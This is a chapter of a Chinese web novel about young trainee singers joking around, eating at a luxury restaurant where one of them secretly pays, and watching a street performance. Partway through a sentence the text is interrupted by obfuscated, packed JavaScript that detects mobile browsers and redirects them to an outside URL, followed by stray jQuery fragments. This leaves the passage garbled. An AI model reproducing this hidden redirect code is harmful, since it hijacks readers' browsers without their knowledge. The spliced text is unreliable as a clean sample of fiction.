48. 第 48 章

作品:《燃烧的沸腾的

    下午无事,夏桃杉的父母亲自开车到公司门口接女儿回家。


    叔叔阿姨都友善和气,与孔栩他们见了面,又说了些“感谢他们关照自己不爱说话的女儿”之类的话,还给他们送来几大箱零食和当季的新鲜水果,夏桃杉家里是果园承包户,家里水果多得吃不完,便宜了这帮大馋小子丫头们。


    陈颂给夏桃杉拎着行李箱,一路送到她爸妈车上,又站在门口目送小轿车远去。


    “咳,”陆笑蓉站在他身侧,忽然清了下嗓子,“人已经走了,还看着呐。”


    “跟你有什么关系。”陈颂瞅了她一眼,嫌弃她哪壶不开提哪壶似的,头一扭,潇洒地两手插兜,转身走了。


    回屋见到孔栩和邱以星这俩一人拿着一小篮草莓,坐在中间的环形大沙发上,边看电视边吃草莓。


    两位嘴唇都吃得红红的,陈颂没眼力见地硬挤进去,一屁股坐下:“让让,你们这日子过得也太舒坦了。”


    他非跟孔栩抢他篮子里的草莓,孔栩不乐意,把篮子举得高高的,陈颂哄他说:“别这么小气,晚上哥哥带你去吃大餐。”


    孔栩半信半疑:“真的?”


    “哥哥什么时候骗过你。”陈颂趁孔栩思索之际,抓过一大把草莓,吃得腮帮子鼓鼓囊囊,像只准备过冬的松鼠,“再来一颗,想去哪个大饭店都带你去。”


    “那我要去人均五千的陈年饭庄,”孔栩狮子大开口,“我要吃贵宾席的佛跳墙,黑松露大龙虾。”


    陈颂犹豫:“呃,这俩有什么好吃的,就图个名气,味道其实一般。”


    孔栩想拿篮子砸他:“你吃过么就吹。”


    邱以星见他俩没个正型闹来闹去,默默盯了半晌。


    他注意到陈颂格外喜欢逗孔栩,平时没事就爱来招惹一下子,逗到人两眼喷火炸毛再乐滋滋地溜走,等孔栩心情好了,又摸过来说两句话,直到把人又惹毛,追着他打才罢休。


    电视剧播到最新一集,孔栩和陆笑蓉意犹未尽地看完。


    陆笑蓉拿起手机,登录自己新注册的小号,艾特电视剧官方让他们播快点,顺便留言男一号演技太差,干一行毁一行,不如回老家喂猪。


    又被池丰粉丝围攻八百条,陆笑蓉慌不择路火速下线,心有余悸地拍拍胸口:“我实话实说而已,小木鱼,你看,这帮脑残粉实在是太可怕了。”


    孔栩便说:“知道他们战斗力强,还非要跟他们争,不发不行吗?”


    “那可不行,”陆笑蓉说,“他演技这么差还来演戏,岂不是阻挡了一个好演员的路?你不说我不说,以后就只能看这些人演的电视剧了,那还得了。”


    “你说得对,”孔栩说着就拿出手机,“我也去骂几条。”


    “差不多得了,你操哪门子的闲心。”邱以星把孔栩手机从他手心抽走,“这是粉丝向的作品,就是拍给他粉丝看的,人粉丝看了高兴,电视台看了收视率高兴,投资方赚钱了高兴,你不高兴有用吗?再说了,你看了不也挺高兴,你喜欢男二号,男一号不演得烂,怎么衬托男二号的好来?对了,男二号收获了新粉丝还高兴着呢。”


    邱以星绕口令似的一通输出,孔栩默默地点头,觉得他的话也很有道理,陆笑蓉不满地皱眉:“小木鱼,你怎么一点立场都没有,风往哪吹往哪倒,就是一根墙头草!”


    孔栩往邱以星身后躲,他笑嘻嘻地说:“不不不不,我不是墙头草,我是小木鱼,只会咚咚咚地响。”


    “那我来敲敲试试,看响不响。”陆笑蓉站起身,两手交叉活动得咯吱咯吱作响,作势要来敲他的脑袋。


    孔栩大叫一声,慌忙拽邱以星衣服,让他当盾牌抵挡陆笑蓉的攻击,好在邱以星十分配合,双臂钳子似的张开,充当孔栩牢固的堡垒,陆笑蓉别无他法只好挠邱以星痒痒,邱以星一时不慎,被陆笑蓉伸来一只爪子,差点勾到孔栩的毛衣。


    孔栩紧张得上蹿下跳,揪紧邱以星的衣服:“邱以星,快拦住她!”


    陈颂在一旁津津有味地欣赏:“还玩起老鹰捉小鸡来了,你们真有童心。”


    最后邱以星以身高优势占据上风,反剪住陆笑蓉的两只胳膊,陆笑蓉玩出了一身汗,笑着骂道:“我算是看明白了,你们俩就是一伙的!”


    最后是徐如夜的出现终结了他们的嬉闹。


    徐如夜换了件苏虹带来的长款黑色大衣,长身玉立,风度翩翩,戴上一副黑框眼镜,显得斯文极了,然后拿出一只口罩戴上,像是要出门。


    陆笑蓉看呆了:“徐老师,您要去哪儿?”


    徐如夜一偏头:“好不容易放假休息,难不成赖公司一整天?带你们出去吃饭,透透气,给你们十分钟收拾。”


    众人火速收拾好,徐如夜跟项汝怡打了个招呼,便带这几人出了门。


    他们的歌录制完毕,混音和母带都是公司自己做,不用他再去操心。


    徐如夜兑现了自己的诺言,给他们写歌,甚至是亲自当他们老师,徐如夜如此尽心尽力,除了看在陈闵的面子上,还因为看见这帮人,他会想起自己一无所有的十几岁。


    如今他眼见着好像什么都有了,可似乎最珍贵的东西永远被埋在了更年轻的岁月里。


    跟这些年轻人在一起,让他仿佛年轻了十岁,陆笑蓉感受到了徐如夜的好心情,试探性地问他:“徐老师,吃饭的地方我们可以选吗?”


    徐如夜:“可以啊,你们想去哪?”


    陆笑蓉和孔栩交换了一个心照不宣的眼神:“那您能不能带我们去陈年饭庄长点儿见识?”


    “当然可以,”徐如夜眯眼笑着,看了陈颂一眼,“你们大可以敞开了吃。”


    “徐老师,您真大方。”陆笑蓉和孔栩小小地击了下掌。


    他们不知道陈年饭庄是需要提前预约才有好位置的,不过徐如夜这种超级VIP不需要提前预约,大堂经理像是认出了徐如夜,极为殷勤地快步走来,笑容堆了满脸,刚要说话,陈颂打断他说:“那什么,包厢还有吗?”


    “有的,”经理态度好得犹如见了亲人,微笑说,“这边请。”


    孔栩心里感慨,果然是有钱能使鬼推磨,这么好的服务态度他还是头一回见。


    陈颂低着头,两手揣进上衣兜里,默然不语地跟在一行人最后。


    经理把他们带到一间宽敞的包厢,等人都进去后,陈颂脚步一顿,轻轻拉住经理的衣角,悄声说:“王叔,等会儿这桌帮我免个单。”


    王经理笑着点头:“知道。”


    陈颂想了想,又说:“佛跳墙直接上一锅,大龙虾挑最大的,我朋友爱吃。”


    王经理维持着一成不变的笑容:“都好说,保证让您和朋友都吃好吃饱。”


    “谢谢。”


    陈颂若无其事地走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086436|194219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进包厢,坐在孔栩身侧,他对孔栩说:“菜单呢,还不快点你的佛跳墙和大龙虾。”


    “你懂不懂事,”孔栩恭恭敬敬地把菜单递到徐如夜面前,“徐老师请客,当然是徐老师先点。”


    陈颂:“……”


    徐如夜见陈颂一脸黑线,笑了两声,把菜单推回去,让他们点自己喜欢的。


    孔栩还想跟他客套一下,陆笑蓉毫不客气地接过,嘿嘿一笑:“那我就不客气了。”


    陆笑蓉为夏桃杉失去一顿大餐而倍感遗憾,菜单从头看到尾,她和孔栩瞠目结舌,被后面的价格惊得一愣一愣的,最后也没敢点佛跳墙——她怕徐如夜这餐之后跟他们断绝往来。


    上菜的时候,服务员却端来一大锅鲜香扑鼻的佛跳墙,孔栩忙叫住服务员:“等等,你们送错了。”


    “没有,”服务员露出八颗牙的标准微笑,“这是送的。”


    还有此等好事!


    孔栩惊了,不愧是大饭店,这么豪爽!


    陆笑蓉等服务员走了,不敢置信,跟孔栩小声蛐蛐:“不会是预制品吧?这一锅得多少钱啊。”


    陈颂一拍桌:“什么预制品,饭庄没有预制品,这一锅也是熬了好几天的,吃都堵不上你的嘴。”


    陆笑蓉:“你激动什么,你家开的啊?”


    陈颂:“……”


    邱以星看了他一眼,陈颂几次三番想张口,但最后选择闭嘴,忿忿地啃起大龙虾。


    这顿吃的是热汗淋漓,所有人都很满意,虽然佛跳墙的口感不是孔栩喜欢的,但至少知道了顶级饭店里顶级食材的味道,十分心满意足,捧着肚子等徐如夜去结账。


    徐如夜被告知已经结过账,不出他意料,他又跟服务员说,打包几个店里最火的小甜品,这次他付钱。


    众人提着小甜品出了饭庄大门,一边吃,一边走,一边消食。


    路上没有多少行人,天色暗了下来,徐如夜光明正大地走在大马路上,黑色的树影摇晃着,一行人走到路口,看见前边有个很大的广场。


    广场中央有人自发组织了活动,他们远远就听到了歌声,陆笑蓉指着前面说:“小木鱼,我们过去看看。”


    孔栩看了徐如夜一眼:“徐老师,您戴条围巾,把脸遮一遮,被认出来就不好了。”


    徐如夜依言照做,他很久没出现在公众面前,天色又黑,不一定能注意到他,但他还是谨慎地戴上口罩和围巾,不仔细打量,不会有人认出他。


    广场是几个俊男美女在劲爆的音乐中跳着热舞,场子热好后,有一支小乐队上了临时搭建的简陋舞台表演,几首下来,现场的气氛越发火热。


    孔栩他们几人在角落跟着一块唱,孔栩把手揣进邱以星上衣的口袋取暖,靠着他笑吟吟地说:“他们唱得都没你好听。”


    在孔栩看来,比邱以星唱歌好听的人屈指可数,现在的徐如夜算一个,等邱以星长大,或许能比徐如夜还厉害,他真心这么认为,却忽略旁边有其他的陌生人。


    等音乐停下来,旁边这位疑似是主持人的中年男子,不知从哪儿变出一只话筒,站上舞台略一欠身,中气十足地对观众们说:“听说这里有人唱得更好,让我们请他上台来表演,好不好?”


    他话音一落,周围的目光仿佛探照灯一般落在他们这行人身上,徐如夜不由得裹紧衣领,垂下头,装作跟他们不认识。